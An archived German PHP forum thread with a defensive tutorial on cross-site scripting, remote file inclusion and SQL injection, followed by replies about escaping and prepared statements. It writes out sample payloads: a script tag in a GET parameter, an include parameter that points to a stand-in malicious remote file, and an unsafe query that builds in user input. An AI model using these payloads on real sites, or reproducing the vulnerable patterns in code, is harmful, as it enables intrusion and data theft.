| | | | |
| |||||||
| Beitragsarchiv Nur gucken, nichts anfassen. Das Archiv der Beiträge vergangener Zeiten. |
| | LinkBack (7) | Themen-Optionen |
| | |
| Erfahrener Benutzer Registriert seit: 01.12.2003
Beiträge: 4.113
![]() | Diese Tutorial wurde von Jason geschrieben. ------------------------------------------------ In diesem kleinem Artikel geht es über typische Fehler bei der Übertragung von Formularen in PHP und zum anderen über Cross Site Scripting. Was ist das überhaupt? Cross Site Scripting (im späteren XSS genannt): Beim XSS geht es darum, Benutzereingaben die von einer an den Server übergeben werden zu manipulieren. Dies gelingt meist durch zu großes Vertrauen des Webmasters an die User oder durch Fehler im Script. Ziel dieser Angriffe ist das Ausführen von Programmcode, Ausspähen der Userdaten oder einfach nur zu nerven... Verschiedene Arten - 1. Einfügen von fremden Programmcode - 2. Ausführen von fremden Scripten - 3. SQL Injektion 1. Einfügen von fremden Programmcode Hier geht es darum, den eignen Code in die fremde Seite einzufügen. Meist werden dafür die GET Variablen verändert. z.B.: Code: www.url.de/suche.php?wort=hallo Code: www.url.de/suche.php?wort=<script>alert(’Hallo’);</script> PHP-Code: Dies ist aber nicht nur auf GET beschränkt sondern geht mit allen Variablen die auch nur irgendwie mit dem Benutzer zusammenhängen (GET, POST, COOKIE, SESSION, FILE...) Auch ein häufiger Fehler ist das nicht Benutzen der superglobalen Arrays, im zu- sammenhang mit register_globals wo leicht Sicherheitslücken entstehen. Wie verhindere ich dies nun? In PHP gibt es dafür extra Funktionen die z.b. alle HTML Tags umwandeln in die Sonderzeichen z.B.: htmlspechialchars(string) http://de.php.net/manual/de/function...ecialchars.php Natürlich kann man auch eigene Funktionen verwenden oder PEAR bietet hier ein Packet namens Validate an. 2. Ausführen von fremden Scripten Hier geht es darum, durch Fehler im eigene Scripte einzuschleusen. Meist sind diese Seiten davon betroffen welche ihren Content direkt includen: Code: www.url.de/index.php?seite=main.php Code: www.url.de/index.php?seite=http://meinserver/boese.php Über diese Datei könnte jetzt ein Angriff gestartet werden. Wie verhindere ich dies nun? Also eigentlich kann man das schon per Einstellung am Server größten Teils ver- hindern (safe_mode, ...) Außerdem sollte man NIEMALS eine Variable direkt includen, also immer: PHP-Code: Dadurch die Werte welche von Formularen kommen oder per GET übertragen wurden häufig in Datenbank Abfragen vorkommen, lassen sich häufig diese Werte als SQL Anweisung missbrauchen. Beispiel: Code: www.url.de/members.php?nick=Jason vorkommen würde: Code: SELECT * FROM members WHERE nick='$_GET['nick']' dies hier zu erklären...) Verhindern kann man das am leichtesten durch die Benutzung einer Funktion wie http://de2.php.net/manual/de/functio...ape-string.php welche den Übergebenen Wert maskiert und die ' und sonstigen escaped. Anmerkung: Ja es gibt auch magic_quotes_gpc.... ![]() mfg Jason |
| |
| | |
| PHP Code Flüsterer Registriert seit: 21.08.2005 Beiträge: 4682 PHP-Kenntnisse: Fortgeschritten | |
| | |
| Gast
Beiträge: n/a
| Interessanter Artikel! Besonders das erste Beispiel mit dem JS. Habe auch mal ein gutes Beispiel gefunden: |
| | |
| Gast
Beiträge: n/a
| Hinweis zu dem letzten Punkt: http://de2.php.net/manual/de/functio...ape-string.php Anmerkung: Diese Funktion ist seit PHP 4.3.0 veraltet. Benutzen Sie diese Funktion nicht und verwenden Sie stattdessen mysql_real_escape_string(). |
| | |
| Gast
Beiträge: n/a
| Genau das, keine Zeichen müssen mehr maskieren werden. Das ist der eine "Trick" an prepared statements. (Der andere -wenn die Datenbank selbst das unterstützt- ist, dass der parser et al nur einmal über das statement gejagt werden muss) Der Datenbank muss angezeigt werden, was Nutzdaten sind und was Anweisungen o.ä. Um zu verhindern, dass in einer "herkömmlichen" sql-Anfrage innerhalb der Nutzdaten Steuerzeichen enthalten sind, die die Nutzdaten von den Anweisungen trennen, werden diese Zeichen maskiert. Aber wenn Nutzdaten und Anweisungen -wie im Falle von prepared statements- getrennt übertragen werden, gibt es dafür keinen Bedarf mehr. |
| Themen-Optionen | |
|
|
LinkBacks (?)
LinkBack to this Thread: http://www.php.de/beitragsarchiv/5621-php-und-xss.html | ||||
| Erstellt von | For | Type | Datum | |
| TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse | This thread | Refback | 18.11.2008 14:45 | |
| TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse | This thread | Refback | 04.11.2008 10:35 | |
| TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse | This thread | Refback | 22.10.2008 16:11 | |
| TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse | This thread | Refback | 14.10.2008 13:07 | |
| TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse | This thread | Refback | 24.09.2008 15:16 | |
| TYPO3.net - wt_doorman: Vorstellung der Sicherheitsklasse | This thread | Refback | 23.09.2008 07:53 | |
| Gelöst - Vorstellung wt_doorman: Sicherheitsklasse für Extensions - TYPO3 Forum & Portal | This thread | Pingback | 22.09.2008 22:07 | |
| Besucher kamen über folgende Suchanfragen bei Google auf diese Seite |
| php xss, php xss verhindern, xss php, xss verhindern php, php cross site scripting verhindern, xss php unterbinden, cross site scripting php, php xss vermeiden, cross site scripting verhindern, xss php verhindern, php cross site scripting, cross site scripting verhindern php, php xxs, xss vermeiden php, xss in php, php xss schutz, cross site scripting php verhindern, xss mit php, php xss sicher, php cross-site scripting |

Dieser Inhalt ist unter einer Creative Commons-Lizenz lizenziert.